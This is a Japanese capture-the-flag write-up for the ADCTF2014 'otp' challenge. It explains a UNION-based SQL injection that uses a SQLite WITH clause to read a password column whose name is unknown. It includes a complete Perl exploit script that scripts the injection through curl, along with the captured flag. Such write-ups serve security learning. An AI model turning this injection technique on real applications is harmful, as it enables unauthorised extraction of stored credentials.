otp
問題
Try your sqli skills.
解法
出題から30分の間は26行目が
行番号表示/非表示切替
1 if ($token =~ /sqlite/) {
になっており,sqliteを大文字にしてSqlite_masterテーブルから情報を取り出すだけの簡単問題であった。 が,書き上がったエクスプロイトを実行する瞬間サーバが停止され,修正されてしまった。カラム名まで分かってたのに。無念。
さて,本来の問題であるが,カラム名がわからないotpテーブルからいかにして値を取り出すかである。 SQLiteには1.8.3からWITH-SELECT文が追加され,カラムに順に名前をつけて新たなテーブルとして参照することが可能になった。 これを用いると,次のようにサブクエリ内でカラムの名前がわからないまま,パスワードを取り出すことが出来る。
行番号表示/非表示切替
1 SELECT (WITH a(token,pass,z) AS (SELECT * FROM otp) SELECT pass FROM a WHERE token = '$token')
このクエリを例によってSQLインジェクションしてUNIONで連結して送信する。
行番号表示/非表示切替
1 use strict;
2 use warnings;
3
4 my $url = "http://otp.adctf2014.katsudon.org/";
5
6 sub system_pipe {
7 my @args = @_;
8 open my $pipe, "-|", @args or return;
9 my @result = <$pipe>;
10 join "", @result;
11 }
12 sub escape_uri {
13 my $s = shift;
14 $s =~ s/([^[:alnum:]])/'%'.unpack("H*", $1)/ge;
15 return $s;
16 }
17
18 sub get_token {
19 my $result = system_pipe "curl", "-s", $url;
20 if ($result =~ m{<input type="hidden" name="token" value="(.*?)" />}) {
21 return $1;
22 }
23 else { die }
24 }
25
26 sub extract {
27 my $sql = shift;
28
29 my $token = "' UNION $sql -- ";
30 #print $token;
31 my $result = system_pipe "curl", "-s", $url, '-d', 'token='.escape_uri($token);
32 #print $result;
33 if ($result =~ m{otp expired at (.*)</p>}s) {
34 return $1;
35 }
36 else { die }
37 }
38
39 my $token = get_token();
40 my $pass = extract("SELECT (WITH a(token,pass,z) AS (SELECT * FROM otp) SELECT pass FROM a WHERE token = '$token')");
41 my $result = system_pipe "curl", "-s", $url, '-d', "token=$token&pass=$pass";
42 if ($result =~ /flag is: (.*?)</) {
43 print $1, "\n";
44 }
% perl solve.pl ADCTF_all_Y0ur_5CH3ma_ar3_83L0N9_t0_u5